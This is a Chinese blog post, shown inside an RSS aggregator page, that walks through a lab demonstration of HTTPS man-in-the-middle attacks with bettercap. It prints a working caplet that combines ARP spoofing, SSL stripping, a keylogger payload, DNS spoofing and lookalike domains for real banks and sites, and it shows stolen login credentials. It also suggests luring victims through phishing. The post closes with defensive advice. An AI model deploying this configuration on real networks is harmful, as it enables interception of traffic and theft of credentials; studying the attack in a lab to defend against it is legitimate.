惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
W
WeLiveSecurity
O
OpenAI News
N
News and Events Feed by Topic
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Webroot Blog
Webroot Blog
Google Online Security Blog
Google Online Security Blog
云风的 BLOG
云风的 BLOG
N
News | PayPal Newsroom
H
Hacker News: Front Page
博客园_首页
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
The Last Watchdog
The Last Watchdog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
H
Heimdal Security Blog
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
S
Schneier on Security
宝玉的分享
宝玉的分享
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Recent Commits to openclaw:main
Recent Commits to openclaw:main
Y
Y Combinator Blog
Cyberwarzone
Cyberwarzone
Microsoft Security Blog
Microsoft Security Blog
C
CXSECURITY Database RSS Feed - CXSecurity.com
GbyAI
GbyAI
Cloudbric
Cloudbric
TaoSecurity Blog
TaoSecurity Blog
人人都是产品经理
人人都是产品经理
P
Palo Alto Networks Blog
M
MIT News - Artificial intelligence
G
GRAHAM CLULEY
C
Check Point Blog
Apple Machine Learning Research
Apple Machine Learning Research
Last Week in AI
Last Week in AI
T
Troy Hunt's Blog
L
Lohrmann on Cybersecurity
www.infosecurity-magazine.com
www.infosecurity-magazine.com
P
Proofpoint News Feed
Blog — PlanetScale
Blog — PlanetScale
量子位
博客园 - 聂微东
S
Securelist
博客园 - 三生石上(FineUI控件)
F
Full Disclosure
G
Google Developers Blog
L
LINUX DO - 热门话题
P
Proofpoint News Feed
AI
AI
PCI Perspectives
PCI Perspectives

lololowe的博客

《防火墙项目化实战 (基于华为eNSP)》笔记 华为VLAN高级特性与协议详解 DNS 跨平台托管 CVE-2026-0073 安卓调试桥漏洞复现 Yakit测试PortSwigger靶场-未授权访问 visio导入Mermaid流程图(SVG格式) 什么是 TiT (TLS in TLS) 特征以及如何消除特征 部署 Wireguard VPN 实现异地组网 Redis未授权访问漏洞复现 实现防御ARP劫持与主动反击 华为VRP系统基本操作 mrs文件转换与查看 电脑垃圾清理技巧分享 QQ音乐 2015-2025 年度听歌报告链接汇总 基于DevStack快速部署OpenStack
使用 Bettercap 进行 HTTPS 中间人攻击:SSL 剥离和 HSTS 绕过
lololowe · 2026-04-22 · via lololowe的博客
网络安全MITM渗透bettercap

1. 环境准备

本文演示使用 bettercap 对目标主机实施 HTTPS MITM(中间人)攻击。

实验环境:

角色 IP 说明
攻击机 10.0.0.5 PVE 宿主机,运行 bettercap v2.41.5
被攻击机 10.0.0.123 PVE 虚拟机,Windows 11
目标站点 www.baidu.com , www.icbc.com.cn 前者无 HSTS,后者有 HSTS

Bettercap 最新版可以从项目的release页面下载:https://github.com/bettercap/bettercap/releases

Kali Linux 内置了 bettercap,无需额外安装(apt install bettercap)。

Windows 版还需要下载libusb库:https://lololowe.lanzoul.com/iRNUC3nu0t7i

下载完成后将其和bettercap.exe放到同一个目录下即可:

alt text

2. 原理概述

2.1. SSL Stripping

alt text

核心思路:

  • ARP 劫持让所有流量经过攻击机
  • SSLstrip 丢掉服务端的 301 跳转,让受害者全程停留在 HTTP
  • 同形字替换lololowelolol0we,将字母 o 替换为数字 0)让受害者难以直接察觉异常
  • DNS 劫持将假域名 blog.lolol0we.com 指向攻击机,确保受害者点击任意链接后流量依然经过攻击机

2.2. HSTS绕过

HSTS(HTTP Strict Transport Security)会强制浏览器使用HTTPS与服务器建立连接,用预防御SSL Strip攻击。它分为两种类型,一种静态HSTS,另一种是动态HSTS,前者是靠浏览器内置的HSTS Preload列表强制浏览器使用HTTPS连接,后者是靠服务器返回的HSTS头(strict-transport-security)来指示浏览器在多长时间内强制使用HTTPS连接,后者因为不在 HSTS Preload 列表中,所以首次访问时使用的是HTTP连接

在我之前写过的一篇关于DNS劫持实验的文章中已经讨论过HSTS,例如中国工商银行的站点就启用了 HSTS 的,使用curl -I https://www.icbc.com.cn 查看返回的响应头:

alt text

返回的 strict-transport-security: max-age=31536000 字段表示该站点的 HSTS 保护期为 31536000 秒,即 365 天。这使得浏览器在首次访问后的 365 天内,都会强制升级 HTTP 到 HTTPS。

再以 www.facebook.com 为例,使用 curl -I https://www.facebook.com 查看服务器返回的响应头:

alt text

strict-transport-security: max-age=15552000; preload 中的 preload 标记用于向谷歌维护的 hstspreload.org 提交预加载列表申请,通过该列表后,主流浏览器(Chrome, Firefox, Safari 等)会将该域名硬编码进浏览器安装包里,后续即使是首次访问网站,也会强制使用 HTTPS 连接。访问谷歌浏览器的 chrome://net-internals/#hsts 页面查看,即可确认该域名是否已加入预加载列表:

alt text

static_sts_domain: www.facebook.com 表明此域名已经进入了 HSTS Preload 列表。

Bettercap 的 HSTSHJACK 从没有开启HSTS预加载的子域名下手(没有includeSubDomains标记),在首次访问没有HSTS保护的子域名时,会使用HTTP连接,攻击机在内网通过ARP劫持被攻击机的所有流量,然后拦截首次发起的明文HTTP请求,并丢弃服务器响应的301跳转,充当中间人,只转发HTTP流量给被攻击机,并篡改HTML,将所有主域名的链接都进行同形字替换,例如将 www.facebook.com 替换为 www.facebok.com(少了个o),因为替换后的假域名没有HSTS防护,因此可以实现HSTS绕过,当被攻击机访问没有HSTS保护的假域名时,攻击机还会进行DNS劫持,返回假的解析结果(解析到攻击机),使被攻击机和攻击机建立HTTP连接,而攻击机和真实服务器建立HTTPS连接,攻击机充当中间人可以注入JS代码,控制网页加载,也可以窃取被攻击机发出的登录凭据。

实际情况但更多的是通过社工钓鱼,诱导受害者点击同形字替换后的链接,以进行HSTS绕过后的HTTPS中间人攻击。

3. caplets

bettercap 有2种使用方式,分别是:

  • 命令行参数 + 配置文件
  • Web UI 使用

推荐使用命令行方式,使用bettercap命令可以直接进bettercap专属的交互式会话命令行,输入?或者help可以查看所有模块,以及运行状态。

set 命令可以设置配置项,get 命令可以获取配置项的值,on和可以开关模块,可以开关模块,! 命令可以执行系统命令。

要实现HTTPS中间人攻击,通常需要使用 [caplets](https://www.bettercap.org/usage/interactive_session/#caplets) 脚本来实现,我们先用caplets.update`命令来安装官方的caplets脚本:

alt text

接着使用caplets.show查看已安装的caplets脚本:

alt text

要实现HTTPS中间人攻击,需要使用 hstshijack caplet 脚本,使用! /usr/local/share/bettercap/caplets/hstshijack/hstshijack.cap查看脚本默认配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23




set hstshijack.targets google.com, *.google.com, gstatic.com, *.gstatic.com
set hstshijack.replacements google.corn,*.google.corn,gstatic.corn,*.gstatic.corn
set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/domains.txt
set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/index.json
set hstshijack.ssl.check true

set hstshijack.obfuscate true
set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js,*.google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js,google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js
set hstshijack.whitelist /usr/local/share/bettercap/caplets/hstshijack/whitelist.json
set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com

net.recon on

set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js
http.proxy on

set dns.spoof.domains google.corn,*.google.corn,gstatic.corn,*.gstatic.corn
set dns.spoof.all true
dns.spoof on

默认只配置了针对了谷歌的域名,并且没有做ARP双向欺骗来劫持目标的流量,因此我们需要自定义配置。

退出bettercap的交互式命令行会话,新建mitm.cap文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


set hstshijack.targets *.h3c.com,*.bilibili.com,*.baidu.com,www.icbc.com.cn,*.facebook.com
set hstshijack.replacements *.h3o.com,*.bilibil1.com,*.ba1du.com,www.icbo.com.cn,*.facebok.com

set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/domains.txt
set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/index.json
set hstshijack.ssl.check true
set hstshijack.obfuscate true
set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js
set hstshijack.whitelist /usr/local/share/bettercap/caplets/hstshijack/whitelist.json
set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com


net.recon on


set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js
http.proxy on



set dns.spoof.domains *.h3o.com,*.bilibil1.com,*.ba1du.com,www.icbo.com.cn,*.facebok.com
set dns.spoof.all true
dns.spoof on



set arp.spoof.fullduplex true
set arp.spoof.targets 10.0.0.123
arp.spoof on



! iptables -I FORWARD -p udp --sport 53 -s 10.0.0.1 -d 10.0.0.123 -m string --string "h3o" --algo bm -j DROP
! iptables -I FORWARD -p udp --sport 53 -s 10.0.0.1 -d 10.0.0.123 -m string --string "bilibil1" --algo bm -j DROP
! iptables -I FORWARD -p udp --sport 53 -s 10.0.0.1 -d 10.0.0.123 -m string --string "ba1du" --algo bm -j DROP
! iptables -I FORWARD -p udp --sport 53 -s 10.0.0.1 -d 10.0.0.123 -m string --string "icbo" --algo bm -j DROP

启动攻击:

1
./bettercap -iface vmbr0 -caplet mitm.cap

运行caplet脚本后会自动开启IP路由转发,无需再像下面一样手动开启:

1
echo 1 > /proc/sys/net/ipv4/ip_forward

4. 攻击流程

4.1. 确认 ARP 劫持生效

查看被攻击机上的 ARP 缓存表:

1
arp -a

alt text

可以看到网关的MAC地址已被替换为攻击机的MAC地址了。

查看网关的 ARP 缓存表:

1
arp -n | grep -E "10.0.0.5|10.0.0.123"

alt text

可以看到被攻击机的MAC地址已被替换为攻击机的MAC地址了。

已完成ARP上下行双向欺骗。

4.2. 确认 SSLstrip 生效

在被攻击机上执行:

1
curl -LI www.baidu.com

alt text

正常情况下会返回301重定向状态码,重定向到https://www.baidu.com。这里直接返回了200状态码,并且添加CSP和CORS头,移除安全防护。说明bettercap成功拦截了http到https的跳转。

接着打开被攻击机的浏览器,为了模拟首次访问,需要清除浏览器缓存和记录。快捷键 Ctrl + Shift + Del 打开清除数据窗口:

alt text

其次还需要删除 www.baidu.com 的书签,否则会优先使用书签的https地址。

继续访问 www.baidu.com

alt text

可以看到地址栏停留在了 http://www.baidu.com ,说明 bettercap 成功拦截了https跳转。

4.3. 确认 Body 注入生效

将鼠标悬停在任意超链接上,可以看到链接已经被替换成了假域名 www.ba1du.com :

alt text

说明Body注入已生效。

4.4. 确认 DNS 劫持生效

点击页面的任意超链接,可以正常跳转到假域名上:

alt text

说明DNS劫持已生效,可以正常把假域名解析到攻击机的IP。

也可以使用以下命令进行验证:

1
nslookup www.ba1du.com

alt text

解析出来的IP是攻击机的IP(10.0.0.5),再次说明DNS劫持已没有问题。

如果DNS劫持没有生效,需要检查是不是网关更快的返回了NXDOMAIN记录,如果是,需要添加iptable规则来丢弃这些回包。

4.5. 窃取凭证

点击百度的登录按钮,输入用户名和密码,尝试登录:

alt text

回到bettercap的交互式命令行会话,可以看到登录凭证已被捕获:

alt text

4.6. HSTS绕过

前面说过,HSTS绕过必须要先引诱受害者访问假域名,例如通过钓鱼邮件让受害者点击假的中国工商银行 www.icbo.com.cn ,页面可以正常加载:

alt text

然后通过在 caplet 中添加 payload (set hstshijack.payloads),篡改某些可以用来收集受害者信息的页面,实现定向窃取信息。

当然这只是思路,实际操作中还需要根据具体的情况来调整。

5. 局限

有的网站的静态文件(如 JS、CSS、图片等)也会包含 HSTS 头,例如 www.facebook.com

alt text

这会使得触发浏览器的安全机制,禁止加载 HTTP 请求,解决起来比较麻烦,因为要考虑所有可能的静态文件。

并且因为请求的是明文http,地址栏还会显示不安全提示,所以实战中会偏向根证书劫持,这个以后再更新。

6. 防御建议

  • 启用 HSTS:在响应头中添加 strict-transport-security: max-age=15552000; preload; includeSubDomains,浏览器将拒绝包含子域名的任何 HTTP 请求,即使是第一次访问,也会强制使用 HTTPS。
  • 使用加密 DNS:DoH(DNS over HTTPS)或 DoT(DNS over TLS)可以防止 DNS 欺骗
  • 网络侧防护:在交换机上启用 Dynamic ARP Inspection(DAI)防止 ARP 欺骗
  • 个人习惯:涉及重要信息的网站,不要用 HTTP 访问,而要使用 HTTPS。